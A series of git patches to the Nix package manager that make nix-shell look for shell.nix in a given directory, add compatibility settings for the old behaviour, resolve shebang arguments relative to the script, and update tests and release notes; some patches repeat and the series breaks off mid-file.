scripts. Consider the following example: + +```shell +#!/usr/bin/env nix-shell +#!nix-shell -i bash +``` + +This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. + +The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. From b865625a8eab8382e1643605594e9db23271c2e5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 21:31:24 +0200 Subject: [PATCH 1010/1251] nix-shell: Look for shell.nix when directory is specified --- src/libexpr/eval.cc | 4 ++-- src/libexpr/eval.hh | 4 +++- src/nix-build/nix-build.cc | 34 ++++++++++++++++++++++----- tests/functional/nix-shell.sh | 44 +++++++++++++++++++++++++++++++++++ tests/functional/shell.nix | 11 +++++++++ 5 files changed, 88 insertions(+), 9 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 48ed66883..2a0862123 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2650,7 +2650,7 @@ void EvalState::printStatistics() } -SourcePath resolveExprPath(SourcePath path) +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix) { unsigned int followCount = 0, maxFollow = 1024; @@ -2666,7 +2666,7 @@ SourcePath resolveExprPath(SourcePath path) } /* If `path' refers to a directory, append `/default.nix'. */ - if (path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) + if (addDefaultNix && path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) return path / "default.nix"; return path; diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index b84bc9907..e45358055 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -850,8 +850,10 @@ std::string showType(const Value & v); /** * If `path` refers to a directory, then append "/default.nix". + * + * @param addDefaultNix Whether to append "/default.nix" after resolving symlinks. */ -SourcePath resolveExprPath(SourcePath path); +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix = true); /** * Whether a URI is allowed, assuming restrictEval is enabled diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index e873f712b..30cc86456 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -90,6 +90,26 @@ static std::vector shellwords(const std::string & s) return res; } +/** + * Like `resolveExprPath`, but prefers `shell.nix` instead of `default.nix`, + * and if `path` was a directory, it checks eagerly whether `shell.nix` or + * `default.nix` exist, throwing an error if they don't. + */ +static SourcePath resolveShellExprPath(SourcePath path) +{ + auto resolvedOrDir = resolveExprPath(path, false); + if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) { + if ((resolvedOrDir / "shell.nix").pathExists()) { + return resolvedOrDir / "shell.nix"; + } + if ((resolvedOrDir / "default.nix").pathExists()) { + return resolvedOrDir / "default.nix"; + } + throw Error("neither '%s' nor '%s' found in '%s'", "shell.nix", "default.nix", resolvedOrDir); + } + return resolvedOrDir; +} + static void main_nix_build(int argc, char * * argv) { auto dryRun = false; @@ -281,11 +301,12 @@ static void main_nix_build(int argc, char * * argv) joined << "]; } \"\""; fromArgs = true; remainingArgs = {joined.str()}; - } else if (!fromArgs) { - if (remainingArgs.empty() && isNixShell && pathExists("shell.nix")) - remainingArgs = {"shell.nix"}; - if (remainingArgs.empty()) - remainingArgs = {"default.nix"}; + } else if (!fromArgs && remainingArgs.empty()) { + remainingArgs = {"."}; + + // Instead of letting it throw later, we throw here to give a more relevant error message + if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) + throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); } if (isNixShell) @@ -317,7 +338,8 @@ static void main_nix_build(int argc, char * * argv) auto sourcePath = lookupFileArg(*state, baseDir); - auto resolvedPath = resolveExprPath(sourcePath); + auto resolvedPath = + isNixShell ? resolveShellExprPath(sourcePath) : resolveExprPath(sourcePath); exprs.push_back(state->parseExprFromFile(resolvedPath)); } diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index 2c94705de..b7a7db27c 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -91,6 +91,50 @@ sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.nix > $TEST_ROOT/shell.sheba chmod a+rx $TEST_ROOT/shell.shebang.nix $TEST_ROOT/shell.shebang.nix +mkdir $TEST_ROOT/lookup-test $TEST_ROOT/empty + +cp $shellDotNix $TEST_ROOT/lookup-test/shell.nix +cp config.nix $TEST_ROOT/lookup-test/ +echo 'abort "do not load default.nix!"' > $TEST_ROOT/lookup-test/default.nix + +nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet "it works" +# https://github.com/NixOS/nix/issues/4529 +nix-shell -I "testRoot=$TEST_ROOT" '' -A shellDrv --run 'echo "it works"' | grepQuiet "it works" + +( + cd $TEST_ROOT/empty; + expectStderr 1 nix-shell | \ + grepQuiet "error.*no argument specified and no .*shell\.nix.* or .*default\.nix.* file found in the working directory" +) + +expectStderr 1 nix-shell -I "testRoot=$TEST_ROOT" '' | + grepQuiet "error.*neither .*shell\.nix.* nor .*default\.nix.* found in .*/empty" + +cat >$TEST_ROOT/lookup-test/shebangscript <<"EOF" +#!/usr/bin/env nix-shell +#!nix-shell -A shellDrv -i bash +[[ $VAR_FROM_NIX == bar ]] +echo "script works" +EOF +chmod +x $TEST_ROOT/lookup-test/shebangscript + +$TEST_ROOT/lookup-test/shebangscript | grepQuiet "script works" + +# https://github.com/NixOS/nix/issues/5431 +mkdir $TEST_ROOT/marco{,/polo} +echo 'abort "marco/shell.nix must not be used, but its mere existence used to cause #5431"' > $TEST_ROOT/marco/shell.nix +cat >$TEST_ROOT/marco/polo/default.nix < Date: Sat, 6 Jul 2024 23:15:01 +0200 Subject: [PATCH 1011/1251] rl-next: Enter PR --- doc/manual/rl-next/nix-shell-looks-for-shell-nix.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md index 1f44ba33c..99be4148b 100644 --- a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md +++ b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md @@ -7,6 +7,8 @@ issues: - 4529 - 5431 - 11053 +prs: +- 11057 --- `nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. From d5854f33e2872b583f00d35321405c022858b9ce Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Jul 2024 00:18:26 +0200 Subject: [PATCH 1012/1251] rl-next: Typo --- doc/manual/rl-next/shebang-relative.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/rl-next/shebang-relative.md b/doc/manual/rl-next/shebang-relative.md index dbda0db4c..e6ab9346f 100644 --- a/doc/manual/rl-next/shebang-relative.md +++ b/doc/manual/rl-next/shebang-relative.md @@ -3,6 +3,6 @@ prs: #5088 description: { `nix-shell` shebangs use the script file's relative location to resolve relative paths to files passed as command line arguments, but expression arguments were still evaluated using the current working directory as a base path. -The new behavior is that evalutations are performed relative to the script. +The new behavior is that evaluations are performed relative to the script. } From f5b59fbc6478ab944e75213e5ec711c0066ad43d Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Jul 2024 00:22:21 +0200 Subject: [PATCH 1013/1251] Fix and extend nix-shell baseDir test --- src/libcmd/common-eval-args.cc | 2 +- src/libutil/args/root.hh | 1 + src/nix-build/nix-build.cc | 6 ++++++ tests/functional/nix-shell.sh | 3 ++- tests/functional/shell.nix | 1 + tests/functional/shell.shebang.expr | 9 +++++++++ 6 files changed, 20 insertions(+), 2 deletions(-) create mode 100755 tests/functional/shell.shebang.expr diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 62745b681..ffc1ebd59 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -202,7 +202,7 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) auto v = state.allocValue(); std::visit(overloaded { [&](const AutoArgExpr & arg) { - state.mkThunk_(*v, state.parseExprFromString(arg.expr, state.rootPath("."))); + state.mkThunk_(*v, state.parseExprFromString(arg.expr, true ? state.rootPath(absPath(getCommandBaseDir())) : state.rootPath("."))); }, [&](const AutoArgString & arg) { v->mkString(arg.s); diff --git a/src/libutil/args/root.hh b/src/libutil/args/root.hh index 5c55c37a5..34a43b538 100644 --- a/src/libutil/args/root.hh +++ b/src/libutil/args/root.hh @@ -29,6 +29,7 @@ struct Completions final : AddCompletions */ class RootArgs : virtual public Args { +protected: /** * @brief The command's "working directory", but only set when top level. * diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 872295045..cfe183888 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -183,6 +183,9 @@ static void main_nix_build(int argc, char * * argv) struct MyArgs : LegacyArgs, MixEvalArgs { using LegacyArgs::LegacyArgs; + void setBaseDir(Path baseDir) { + commandBaseDir = baseDir; + } }; MyArgs myArgs(myName, [&](Strings::iterator & arg, const Strings::iterator & end) { @@ -290,6 +293,9 @@ static void main_nix_build(int argc, char * * argv) state->repair = myArgs.repair; if (myArgs.repair) buildMode = bmRepair; + if (inShebang) { + myArgs.setBaseDir(absPath(dirOf(script))); + } auto autoArgs = myArgs.getAutoArgs(*state); auto autoArgsWithInNixShell = autoArgs; diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index f881acd03..596ac5951 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -72,8 +72,9 @@ chmod a+rx $TEST_ROOT/shell.shebang.expr ! $TEST_ROOT/shell.shebang.expr bar cp shell.nix config.nix $TEST_ROOT # Should succeed +echo "cwd: $PWD" output=$($TEST_ROOT/shell.shebang.expr bar) -[ "$output" = '-e load(ARGV.shift) -- '"$TEST_ROOT"'/shell.shebang.expr bar' ] +[ "$output" = foo ] # Test nix-shell shebang mode again with metacharacters in the filename. # First word of filename is chosen to not match any file in the test root. diff --git a/tests/functional/shell.nix b/tests/functional/shell.nix index 75e3845ea..a7577ff63 100644 --- a/tests/functional/shell.nix +++ b/tests/functional/shell.nix @@ -43,6 +43,7 @@ let pkgs = rec { ASCII_PERCENT = "%"; ASCII_AT = "@"; TEST_inNixShell = if inNixShell then "true" else "false"; + FOO = fooContents; inherit stdenv; outputs = ["dev" "out"]; } // { diff --git a/tests/functional/shell.shebang.expr b/tests/functional/shell.shebang.expr new file mode 100755 index 000000000..c602dedbf --- /dev/null +++ b/tests/functional/shell.shebang.expr @@ -0,0 +1,9 @@ +#! @ENV_PROG@ nix-shell +#! nix-shell "{ script, path, ... }: assert path == ./shell.nix; script { }" +#! nix-shell --no-substitute +#! nix-shell --expr +#! nix-shell --arg script "import ./shell.nix" +#! nix-shell --arg path "./shell.nix" +#! nix-shell -A shellDrv +#! nix-shell -i bash +echo "$FOO" From 6c6d5263e26bc463aee97e49a5e9b8d867a4731a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 22:58:15 +0200 Subject: [PATCH 1014/1251] Add legacy setting: nix-shell-always-looks-for-shell-nix --- src/libcmd/common-eval-args.cc | 7 +++++++ src/libcmd/common-eval-args.hh | 6 ++++++ src/libcmd/compatibility-settings.hh | 19 +++++++++++++++++++ src/libcmd/meson.build | 1 + src/nix-build/nix-build.cc | 23 ++++++++++++++++++----- tests/functional/nix-shell.sh | 9 +++++++++ 6 files changed, 60 insertions(+), 5 deletions(-) create mode 100644 src/libcmd/compatibility-settings.hh diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 01546f9a0..62745b681 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -11,6 +11,8 @@ #include "command.hh" #include "tarball.hh" #include "fetch-to-store.hh" +#include "compatibility-settings.hh" +#include "eval-settings.hh" namespace nix { @@ -33,6 +35,11 @@ EvalSettings evalSettings { static GlobalConfig::Register rEvalSettings(&evalSettings); +CompatibilitySettings compatibilitySettings {}; + +static GlobalConfig::Register rCompatibilitySettings(&compatibilitySettings); + + MixEvalArgs::MixEvalArgs() { addFlag({ diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 189abf0ed..8d303ee7c 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -13,6 +13,7 @@ namespace nix { class Store; class EvalState; struct EvalSettings; +struct CompatibilitySettings; class Bindings; struct SourcePath; @@ -21,6 +22,11 @@ struct SourcePath; */ extern EvalSettings evalSettings; +/** + * Settings that control behaviors that have changed since Nix 2.3. + */ +extern CompatibilitySettings compatibilitySettings; + struct MixEvalArgs : virtual Args, virtual MixRepair { static constexpr auto category = "Common evaluation options"; diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh new file mode 100644 index 000000000..5dc0eaf2b --- /dev/null +++ b/src/libcmd/compatibility-settings.hh @@ -0,0 +1,19 @@ +#pragma once +#include "config.hh" + +namespace nix { +struct CompatibilitySettings : public Config +{ + + CompatibilitySettings() = default; + + Setting nixShellAlwaysLooksForShellNix{this, true, "nix-shell-always-looks-for-shell-nix", R"( + Before Nix 2.24, [`nix-shell`](@docroot@/command-ref/nix-shell.md) would only look at `shell.nix` if it was in the working directory - when no file was specified. + + Since Nix 2.24, `nix-shell` always looks for a `shell.nix`, whether that's in the working directory, or in a directory that was passed as an argument. + + You may set this to `false` to revert to the Nix 2.3 behavior. + )"}; +}; + +}; diff --git a/src/libcmd/meson.build b/src/libcmd/meson.build index d9a90508a..2c8a9fa33 100644 --- a/src/libcmd/meson.build +++ b/src/libcmd/meson.build @@ -97,6 +97,7 @@ headers = [config_h] + files( 'command-installable-value.hh', 'command.hh', 'common-eval-args.hh', + 'compatibility-settings.hh', 'editor-for.hh', 'installable-attr-path.hh', 'installable-derived-path.hh', diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 30cc86456..d37b16bdc 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -26,6 +26,7 @@ #include "legacy.hh" #include "users.hh" #include "network-proxy.hh" +#include "compatibility-settings.hh" using namespace nix; using namespace std::string_literals; @@ -100,7 +101,13 @@ static SourcePath resolveShellExprPath(SourcePath path) auto resolvedOrDir = resolveExprPath(path, false); if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) { if ((resolvedOrDir / "shell.nix").pathExists()) { - return resolvedOrDir / "shell.nix"; + if (compatibilitySettings.nixShellAlwaysLooksForShellNix) { + return resolvedOrDir / "shell.nix"; + } else { + warn("Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.", + resolvedOrDir / "shell.nix", + "nix-shell-always-looks-for-shell-nix"); + } } if ((resolvedOrDir / "default.nix").pathExists()) { return resolvedOrDir / "default.nix"; @@ -302,11 +309,17 @@ static void main_nix_build(int argc, char * * argv) fromArgs = true; remainingArgs = {joined.str()}; } else if (!fromArgs && remainingArgs.empty()) { - remainingArgs = {"."}; + if (isNixShell && !compatibilitySettings.nixShellAlwaysLooksForShellNix && std::filesystem::exists("shell.nix")) { + // If we're in 2.3 compatibility mode, we need to look for shell.nix + // now, because it won't be done later. + remainingArgs = {"shell.nix"}; + } else { + remainingArgs = {"."}; - // Instead of letting it throw later, we throw here to give a more relevant error message - if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) - throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + // Instead of letting it throw later, we throw here to give a more relevant error message + if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) + throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); + } } if (isNixShell) diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index b7a7db27c..2a1d556dd 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -21,6 +21,10 @@ output=$(nix-shell --pure "$shellDotNix" -A shellDrv --run \ [ "$output" = " - foo - bar - true" ] +output=$(nix-shell --pure "$shellDotNix" -A shellDrv --option nix-shell-always-looks-for-shell-nix false --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') +[ "$output" = " - foo - bar - true" ] + # Test --keep output=$(nix-shell --pure --keep SELECTED_IMPURE_VAR "$shellDotNix" -A shellDrv --run \ 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $SELECTED_IMPURE_VAR"') @@ -101,6 +105,11 @@ nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet # https://github.com/NixOS/nix/issues/4529 nix-shell -I "testRoot=$TEST_ROOT" '' -A shellDrv --run 'echo "it works"' | grepQuiet "it works" +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet -F "do not load default.nix!" # we did, because we chose to enable legacy behavior +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet "Skipping .*lookup-test/shell\.nix.*, because the setting .*nix-shell-always-looks-for-shell-nix.* is disabled. This is a deprecated behavior\. Consider enabling .*nix-shell-always-looks-for-shell-nix.*" + ( cd $TEST_ROOT/empty; expectStderr 1 nix-shell | \ From 6959ac157bf4e9ff8cbd30033cf8de07f5849ab7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 23:02:32 +0200 Subject: [PATCH 1015/1251] rl-next: Add note about shell.nix lookups --- .../rl-next/nix-shell-looks-for-shell-nix.md | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 doc/manual/rl-next/nix-shell-looks-for-shell-nix.md diff --git a/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md new file mode 100644 index 000000000..99be4148b --- /dev/null +++ b/doc/manual/rl-next/nix-shell-looks-for-shell-nix.md @@ -0,0 +1,28 @@ +--- +synopsis: "`nix-shell ` looks for `shell.nix`" +significance: significant +issues: +- 496 +- 2279 +- 4529 +- 5431 +- 11053 +prs: +- 11057 +--- + +`nix-shell $x` now looks for `$x/shell.nix` when `$x` resolves to a directory. + +Although this might be seen as a breaking change, its primarily interactive usage makes it a minor issue. +This adjustment addresses a commonly reported problem. + +This also applies to `nix-shell` shebang scripts. Consider the following example: + +```shell +#!/usr/bin/env nix-shell +#!nix-shell -i bash +``` + +This will now load `shell.nix` from the script's directory, if it exists; `default.nix` otherwise. + +The old behavior can be opted into by setting the option [`nix-shell-always-looks-for-shell-nix`](@docroot@/command-ref/conf-file.md#conf-nix-shell-always-looks-for-shell-nix) to `false`. From 63262e78c7fd281b813e858640adbaa6f6b3d826 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 7 Jul 2024 00:55:33 +0200 Subject: [PATCH 1016/1251] Add opt-out: nix-shell-shebang-arguments-relative-to-script --- doc/manual/rl-next/shebang-relative.md | 2 ++ src/libcmd/common-eval-args.cc | 2 +- src/libcmd/compatibility-settings.hh | 9 +++++++++ src/nix-build/nix-build.cc | 4 ++-- tests/functional/nix-shell.sh | 8 ++++++++ 5 files changed, 22 insertions(+), 3 deletions(-) diff --git a/doc/manual/rl-next/shebang-relative.md b/doc/manual/rl-next/shebang-relative.md index e6ab9346f..ab39a359c 100644 --- a/doc/manual/rl-next/shebang-relative.md +++ b/doc/manual/rl-next/shebang-relative.md @@ -5,4 +5,6 @@ description: { `nix-shell` shebangs use the script file's relative location to resolve relative paths to files passed as command line arguments, but expression arguments were still evaluated using the current working directory as a base path. The new behavior is that evaluations are performed relative to the script. +The old behavior can be opted into by setting the option [`nix-shell-shebang-arguments-relative-to-script`](@docroot@/command-ref/conf-file.md#conf-nix-shell-shebang-arguments-relative-to-script) to `false`. + } diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index ffc1ebd59..a243b8c49 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -202,7 +202,7 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) auto v = state.allocValue(); std::visit(overloaded { [&](const AutoArgExpr & arg) { - state.mkThunk_(*v, state.parseExprFromString(arg.expr, true ? state.rootPath(absPath(getCommandBaseDir())) : state.rootPath("."))); + state.mkThunk_(*v, state.parseExprFromString(arg.expr, compatibilitySettings.nixShellShebangArgumentsRelativeToScript ? state.rootPath(absPath(getCommandBaseDir())) : state.rootPath("."))); }, [&](const AutoArgString & arg) { v->mkString(arg.s); diff --git a/src/libcmd/compatibility-settings.hh b/src/libcmd/compatibility-settings.hh index 5dc0eaf2b..961001080 100644 --- a/src/libcmd/compatibility-settings.hh +++ b/src/libcmd/compatibility-settings.hh @@ -14,6 +14,15 @@ struct CompatibilitySettings : public Config You may set this to `false` to revert to the Nix 2.3 behavior. )"}; + + Setting nixShellShebangArgumentsRelativeToScript{ + this, true, "nix-shell-shebang-arguments-relative-to-script", R"( + Before Nix 2.24, the arguments in a `nix-shell` shebang - as well as `--arg` - were relative to working directory. + + Since Nix 2.24, the arguments are relative to the [base directory](@docroot@/glossary.md#gloss-base-directory) defined as the script's directory. + + You may set this to `false` to revert to the Nix 2.3 behavior. + )"}; }; }; diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index cfe183888..f4af3fd04 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -293,7 +293,7 @@ static void main_nix_build(int argc, char * * argv) state->repair = myArgs.repair; if (myArgs.repair) buildMode = bmRepair; - if (inShebang) { + if (inShebang && compatibilitySettings.nixShellShebangArgumentsRelativeToScript) { myArgs.setBaseDir(absPath(dirOf(script))); } auto autoArgs = myArgs.getAutoArgs(*state); @@ -345,7 +345,7 @@ static void main_nix_build(int argc, char * * argv) if (fromArgs) exprs.push_back(state->parseExprFromString( std::move(i), - inShebang ? lookupFileArg(*state, baseDir) : state->rootPath(".") + (inShebang && compatibilitySettings.nixShellShebangArgumentsRelativeToScript) ? lookupFileArg(*state, baseDir) : state->rootPath(".") )); else { auto absolute = i; diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index 596ac5951..fd3edf81a 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -76,6 +76,14 @@ echo "cwd: $PWD" output=$($TEST_ROOT/shell.shebang.expr bar) [ "$output" = foo ] +# Test nix-shell shebang mode with an alternate working directory +sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.legacy.expr > $TEST_ROOT/shell.shebang.legacy.expr +chmod a+rx $TEST_ROOT/shell.shebang.legacy.expr +# Should fail due to expressions using relative path +mkdir -p "$TEST_ROOT/somewhere-unrelated" +output="$(cd "$TEST_ROOT/somewhere-unrelated"; $TEST_ROOT/shell.shebang.legacy.expr bar;)" +[[ $(realpath "$output") = $(realpath "$TEST_ROOT/somewhere-unrelated") ]] + # Test nix-shell shebang mode again with metacharacters in the filename. # First word of filename is chosen to not match any file in the test root. sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.sh > $TEST_ROOT/spaced\ \\\'\"shell.shebang.sh From 73602a7c6f4dc6f4f4bea8368a8564403b7b5604 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 6 Jul 2024 21:31:24 +0200 Subject: [PATCH 1017/1251] nix-shell: Look for shell.nix when directory is specified --- src/libexpr/eval.cc | 4 ++-- src/libexpr/eval.hh | 4 +++- src/nix-build/nix-build.cc | 34 ++++++++++++++++++++++----- tests/functional/nix-shell.sh | 44 +++++++++++++++++++++++++++++++++++ tests/functional/shell.nix | 11 +++++++++ 5 files changed, 88 insertions(+), 9 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 48ed66883..2a0862123 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2650,7 +2650,7 @@ void EvalState::printStatistics() } -SourcePath resolveExprPath(SourcePath path) +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix) { unsigned int followCount = 0, maxFollow = 1024; @@ -2666,7 +2666,7 @@ SourcePath resolveExprPath(SourcePath path) } /* If `path' refers to a directory, append `/default.nix'. */ - if (path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) + if (addDefaultNix && path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) return path / "default.nix"; return path; diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index b84bc9907..e45358055 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -850,8 +850,10 @@ std::string showType(const Value & v); /** * If `path` refers to a directory, then append "/default.nix". + * + * @param addDefaultNix Whether to append "/default.nix" after resolving symlinks. */ -SourcePath resolveExprPath(SourcePath path); +SourcePath resolveExprPath(SourcePath path, bool addDefaultNix = true); /** * Whether a URI is allowed, assuming restrictEval is enabled diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index e873f712b..30cc86456 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -90,6 +90,26 @@ static std::vector shellwords(const std::string & s) return res; } +/** + * Like `resolveExprPath`, but prefers `shell.nix` instead of `default.nix`, + * and if `path` was a directory, it checks eagerly whether `shell.nix` or + * `default.nix` exist, throwing an error if they don't. + */ +static SourcePath resolveShellExprPath(SourcePath path) +{ + auto resolvedOrDir = resolveExprPath(path, false); + if (resolvedOrDir.resolveSymlinks().lstat().type == SourceAccessor::tDirectory) { + if ((resolvedOrDir / "shell.nix").pathExists()) { + return resolvedOrDir / "shell.nix"; + } + if ((resolvedOrDir / "default.nix").pathExists()) { + return resolvedOrDir / "default.nix"; + } + throw Error("neither '%s' nor '%s' found in '%s'", "shell.nix", "default.nix", resolvedOrDir); + } + return resolvedOrDir; +} + static void main_nix_build(int argc, char * * argv) { auto dryRun = false; @@ -281,11 +301,12 @@ static void main_nix_build(int argc, char * * argv) joined << "]; } \"\""; fromArgs = true; remainingArgs = {joined.str()}; - } else if (!fromArgs) { - if (remainingArgs.empty() && isNixShell && pathExists("shell.nix")) - remainingArgs = {"shell.nix"}; - if (remainingArgs.empty()) - remainingArgs = {"default.nix"}; + } else if (!fromArgs && remainingArgs.empty()) { + remainingArgs = {"."}; + + // Instead of letting it throw later, we throw here to give a more relevant error message + if (isNixShell && !std::filesystem::exists("shell.nix") && !std::filesystem::exists("default.nix")) + throw Error("no argument specified and no '%s' or '%s' file found in the working directory", "shell.nix", "default.nix"); } if (isNixShell) @@ -317,7 +338,8 @@ static void main_nix_build(int argc, char * * argv) auto sourcePath = lookupFileArg(*state, baseDir); - auto resolvedPath = resolveExprPath(sourcePath); + auto resolvedPath = + isNixShell ? resolveShellExprPath(sourcePath) : resolveExprPath(sourcePath); exprs.push_back(state->parseExprFromFile(resolvedPath)); } diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index 2c94705de..f54e3621c 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -91,6 +91,50 @@ sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.nix > $TEST_ROOT/shell.sheba chmod a+rx $TEST_ROOT/shell.shebang.nix $TEST_ROOT/shell.shebang.nix +mkdir $TEST_ROOT/lookup-test $TEST_ROOT/empty + +echo "import $shellDotNix" > $TEST_ROOT/lookup-test/shell.nix +cp config.nix $TEST_ROOT/lookup-test/ +echo 'abort "do not load default.nix!"' > $TEST_ROOT/lookup-test/default.nix + +nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet "it works" +# https://github.com/NixOS/nix/issues/4529 +nix-shell -I "testRoot=$TEST_ROOT" '' -A shellDrv --run 'echo "it works"' | grepQuiet "it works" + +( + cd $TEST_ROOT/empty; + expectStderr 1 nix-shell | \ + grepQuiet "error.*no argument specified and no .*shell\.nix.* or .*default\.nix.* file found in the working directory" +) + +expectStderr 1 nix-shell -I "testRoot=$TEST_ROOT" '' | + grepQuiet "error.*neither .*shell\.nix.* nor .*default\.nix.* found in .*/empty" + +cat >$TEST_ROOT/lookup-test/shebangscript < $TEST_ROOT/marco/shell.nix +cat >$TEST_ROOT/marco/polo/default.nix < Date: Sat, 6 Jul 2024 22:58:15 +0200 Subject: [PATCH 1018/1251] Add legacy setting: nix-shell-always-looks-for-shell-nix --- src/libcmd/common-eval-args.cc | 7 +++++++ src/libcmd/common-eval-args.hh | 6 ++++++ src/libcmd/compatibility-settings.hh | 19 +++++++++++++++++++ src/libcmd/meson.build | 1 + src/nix-build/nix-build.cc | 23 ++++++++++++++++++----- tests/functional/nix-shell.sh | 9 +++++++++ 6 files changed, 60 insertions(+), 5 deletions(-) create mode 100644 src/libcmd/compatibility-settings.hh diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 01546f9a0..62745b681 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -11,6 +11,8 @@ #include "command.hh" #include "tarball.hh" #include "fetch-to-store.hh" +#include "compatibility-settings.hh" +#include "eval-settings.hh" namespace nix { @@ -33,6 +35,11 @@ EvalSettings evalSettings { static GlobalConfig::Register rEvalSettings(&evalSettings); +CompatibilitySettings compatibilitySettings {}; + +static GlobalConfig::Register 